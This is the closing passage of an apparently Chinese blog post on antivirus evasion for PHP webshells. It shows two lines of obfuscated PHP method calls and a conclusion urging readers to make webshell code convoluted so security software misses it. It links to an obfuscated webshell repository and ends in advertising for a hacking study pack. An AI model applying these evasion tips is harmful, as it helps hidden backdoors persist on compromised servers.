$cvb33ff55 \-> \_\_CPRBB0R0\_l();
$cvb33ff55 \->\_\_HNBB70CA\_5();
?>
这个代码看着就乱,根本读不下去,里面很多无用代码,很容易被误导,读不懂。
总结
webshell的免杀有很多方式,师傅们可以多加一些复杂的算法和注释进去,让代码变得混乱,这样杀毒软件就很难检测了。
参考
https://github.com/misaka19008/PerlinPuzzle-Webshell-PHP/blob/master/perlin.php
https://zhuanlan.zhihu.com/p/206271895?ivk_sa=1024320u&utm_id=0
https://www.miyoushe.com/ys/article/17414097https://blog.youkuaiyun.com/qq_45521281/article/details/105849770
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如侵权请私聊我们删文
END
黑客/网络安全学习包
资料目录
-
成长路线图&学习规划
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配套视频教程
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SRC&黑客文籍
-
护网行动资料
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黑客必读书单
-
面试题合集
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
1.成长路线图&学习规划
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
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2.视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
3.SRC&黑客文籍
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦!
4.护网行动资料
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
5.黑客必读书单
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6.面试题合集
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
更多内容为防止和谐,可以扫描获取~
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取